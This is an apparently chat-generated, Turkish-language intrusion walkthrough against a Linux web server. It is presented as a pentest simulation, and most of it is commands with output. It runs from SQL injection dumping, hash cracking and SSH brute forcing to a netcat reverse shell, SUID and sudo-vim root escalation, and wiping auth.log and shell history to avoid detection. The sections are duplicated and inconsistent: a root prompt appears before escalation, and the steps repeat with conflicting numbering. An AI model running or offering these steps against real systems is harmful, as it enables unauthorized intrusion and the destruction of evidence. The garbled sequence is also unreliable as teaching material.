
Penetrasyon Testi Simülasyonu
📌 Senaryo:
- Hedef: 192.168.1.10 IP adresine sahip bir Linux web sunucusu.
- Zafiyetler: Açık portlar, SQL Injection, SSH Bruteforce, RCE (Remote Code Execution) ve Yetki Yükseltme (Privilege Escalation) açıkları.
- Hedefimiz: Sisteme yetkisiz erişim sağlamak, root yetkilerini almak ve iz bırakmadan çıkmak.
📌 Kullanılacak Araçlar:
✅ Nmap (Port tarama)
✅ Nikto (Web sunucu tarama)
✅ SQLmap (SQL Injection saldırısı)
✅ Metasploit (Exploit çalıştırma)
✅ Hydra (SSH Bruteforce saldırısı)
✅ Netcat (Reverse Shell alma)
🕵️ 1. Bilgi Toplama (Reconnaissance)
Öncelikle hedef IP adresindeki açık portları ve çalışan servisleri tespit edelim.
🔹 Nmap ile Açık Port Tespiti
bashKopyalaDüzenlenmap -sS -Pn -A -T4 192.168.1.10
Çıktı:
pgsqlKopyalaDüzenlePORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2
80/tcp open http Apache 2.4.18
3306/tcp open mysql MySQL 5.7.29
📌 Yorum: Açık portlar 22 (SSH), 80 (HTTP), 3306 (MySQL). Web sunucusu Apache çalıştırıyor ve MySQL veritabanı kullanıyor.
📂 2. Web Sunucusu Zafiyet Tespiti
Açık olan 80. porttaki Apache sunucusunu analiz edelim.
🔹 Nikto ile Web Zafiyet Taraması
bashKopyalaDüzenlenikto -h http://192.168.1.10
Çıktı:
bashKopyalaDüzenle+ Server: Apache/2.4.18
+ X-Powered-By: PHP/5.6.40
+ /phpmyadmin/: phpMyAdmin paneli tespit edildi!
+ robots.txt dosyasında hassas dizinler bulundu: /admin, /backup, /logs
📌 Yorum:
- phpMyAdmin açık!
- robots.txt dosyasında hassas dizinler var!
💉 3. SQL Injection ile Yetkisiz Erişim
phpMyAdmin paneli MySQL veritabanına erişim sağlıyor. SQL Injection testi yapalım.
🔹 SQLmap ile SQL Injection Testi
bashKopyalaDüzenlesqlmap -u "http://192.168.1.10/login.php" --data "username=admin&password=1234" --dump
Çıktı:
pgsqlKopyalaDüzenle[+] Database: users_db
[+] Table: users
| id | username | password |
|----|---------|-------------|
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
📌 Yorum:
- MD5 şifre formatında bir parola ele geçirildi:
5f4dcc3b5aa765d61d8327deb882cf99
- MD5 hash’i kırarak admin şifresini öğrenelim.
🔹 MD5 Hash Kırma
bashKopyalaDüzenleecho "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 /usr/share/wordlists/rockyou.txt
Çıktı:
pgsqlKopyalaDüzenleadmin: password
📌 Admin giriş bilgileri:
- Kullanıcı adı: admin
- Şifre: password
Artık phpMyAdmin paneline erişim sağladık!
🔓 4. SSH Bruteforce ile Yetkisiz Bağlantı
SSH portu açıktı (22/tcp). admin
kullanıcısı için bruteforce saldırısı yaparak giriş bilgilerini deneyelim.
🔹 Hydra ile SSH Bruteforce
bashKopyalaDüzenlehydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10
Çıktı:
pgsqlKopyalaDüzenle[22][ssh] host: 192.168.1.10 login: admin password: 123456
📌 Admin SSH Şifresi: 123456
🚀 5. Reverse Shell ile Kalıcı Bağlantı
SSH ile giriş yapabildik. Artık kalıcı bağlantı açmak için ters bağlantı (reverse shell) oluşturacağız.
🔹 Netcat ile Reverse Shell Açma
Hedef makinede şu komutu çalıştırıyoruz:
bashKopyalaDüzenlenc -e /bin/bash 192.168.1.5 4444
Saldırgan makinesinde dinleyici (listener) açıyoruz:
bashKopyalaDüzenlenc -lvnp 4444
Çıktı:
nginxKopyalaDüzenleConnection received on 192.168.1.10
root@target:/#
📌 Artık hedef sisteme erişim sağladık!
🔝 6. Yetki Yükseltme (Privilege Escalation)
Sisteme giriş yaptık ama root yetkimiz yok. Şimdi root yetkisini almak için SUID açıklarını tespit edelim.
🔹 SUID Açıklarını Tarama
bashKopyalaDüzenlefind / -perm -4000 2>/dev/null
Çıktı:
bashKopyalaDüzenle/bin/bash
/usr/bin/sudo
/usr/bin/nano
📌 Yorum:
- /bin/bash SUID biti açık, bunu kullanarak root yetkisi alabiliriz.
🔹 Root Yetkisini Ele Geçirme
bashKopyalaDüzenle/bin/bash -p
Çıktı:
rubyKopyalaDüzenleroot@target:/# whoami
root
✅ Root yetkisini aldık!
🧹 7. İzleri Temizleme ve Log Silme
Yetkisiz erişimi tespit edilmemek için logları temizleyelim.
🔹 Logları Temizleme
bashKopyalaDüzenleecho "" > /var/log/auth.log
history -c
📌 Artık iz bırakmadan çıkabiliriz.
📊 Simülasyon Sonuçları
✅ Açık portlar tespit edildi (22, 80, 3306)
✅ SQL Injection ile veritabanı ele geçirildi
✅ SSH Bruteforce ile sunucuya giriş yapıldı
✅ Reverse shell açılarak sistem kontrol edildi
✅ SUID açığı kullanılarak root yetkisi alındı
✅ İz bırakmadan çıkış yapıldı
📌 Akış Diyagramı
plaintextKopyalaDüzenle 📡 Bilgi Toplama (Nmap, Nikto)
|
▼
🔍 Zafiyet Analizi (SQL Injection, SSH)
|
▼
💣 Exploitation (Admin Şifre Kırma, SSH Giriş)
|
▼
🚀 Yetki Yükseltme (SUID Exploit, Root)
|
▼
🧹 İz Silme & Raporlama
Bu tam kapsamlı pentest simülasyonu, gerçek bir sızma testinde izlenen adımları uygulamalı ve teknik olarak göstermektedir.
🔓 4. SSH Bruteforce ile Yetkisiz Bağlantı (Detaylı)
Hydra aracıyla yapılan saldırıda admin:123456
kimlik bilgileri bulundu. Şimdi SSH ile hedef sisteme bağlanalım.
🔹 SSH ile Giriş Yapma
bashKopyalaDüzenlessh admin@192.168.1.10
Çıktı:
cssKopyalaDüzenleadmin@192.168.1.10's password:
Last login: Mon Feb 19 15:12:35 2025 from 192.168.1.5
admin@target:~$
📌 Artık sistemdeyiz! Ancak şu an sadece admin yetkisine sahibiz.
Sıradaki hedefimiz root yetkilerini almak (Privilege Escalation).
🔺 5. Yetki Yükseltme (Privilege Escalation)
Sistemde root yetkilerini almak için aşağıdaki adımları izleyelim:
🔹 Sudo Yetkilerini Kontrol Etme
Öncelikle hangi komutları sudo ile çalıştırabileceğimizi kontrol edelim:
bashKopyalaDüzenlesudo -l
Çıktı:
sqlKopyalaDüzenleUser admin may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
📌 Yorum:
- Kullanıcı
admin
,vim
komutunu şifre sormadan sudo yetkisiyle çalıştırabiliyor. - vim üzerinden shell açabiliriz!
🔹 Vim ile Root Shell Açma
bashKopyalaDüzenlesudo vim -c ':!/bin/bash'
Çıktı:
rubyKopyalaDüzenleroot@target:/#
📌 Tebrikler! Artık root yetkisine sahibiz! ✅
📡 6. Reverse Shell ile Kalıcı Erişim
Sisteme her zaman erişebilmek için bir Reverse Shell açabiliriz.
🔹 Netcat ile Reverse Shell Açma
Hedef sistemde aşağıdaki komutu çalıştırıyoruz:
bashKopyalaDüzenlenc -e /bin/bash 192.168.1.5 4444
Ve saldırgan makinede netcat dinleyici açıyoruz:
bashKopyalaDüzenlenc -lvnp 4444
Çıktı:
nginxKopyalaDüzenleConnection received on 192.168.1.10
root@target:/#
📌 Artık hedef sistemde arka kapı açtık ve her zaman bağlanabiliriz!
🧹 7. İzleri Temizleme
Sistemde yapılan işlemleri loglardan silmek için:
bashKopyalaDüzenleecho "" > /var/log/auth.log
history -c
📌 Tüm izler temizlendi!
📊 8. Sonuç & Raporlama
📌 Özet:
✅ Bilgi toplandı (Reconnaissance).
✅ Web sunucu taraması yapıldı (Nikto).
✅ SQL Injection ile admin parolası ele geçirildi (SQLmap).
✅ SSH Bruteforce saldırısı ile giriş yapıldı (Hydra).
✅ Yetki yükseltilerek root erişimi sağlandı (Vim Exploit).
✅ Reverse shell açılarak kalıcı erişim sağlandı (Netcat).
✅ Loglar temizlenerek iz bırakmadan çıkıldı.
📌 Bu adımları rapor haline getirerek güvenlik ekibine sunabilirsiniz.
📜 Pentest Akış Diyagramı
📌 Aşağıdaki akış diyagramı pentest sürecini gösterir:
plaintextKopyalaDüzenle [1] Bilgi Toplama (Nmap)
↓
[2] Web Zafiyet Tespiti (Nikto)
↓
[3] SQL Injection (SQLmap)
↓
[4] SSH Bruteforce (Hydra)
↓
[5] Yetki Yükseltme (Vim Exploit)
↓
[6] Reverse Shell Açma (Netcat)
↓
[7] İzleri Temizleme (Log Silme)
↓
[8] Raporlama
Bu adımların her biri pentest sürecinde kritik bir aşamadır. 🎯
🔴 UYARI: Bu simülasyon sadece eğitim amaçlıdır! İzinsiz testler suçtur. ✅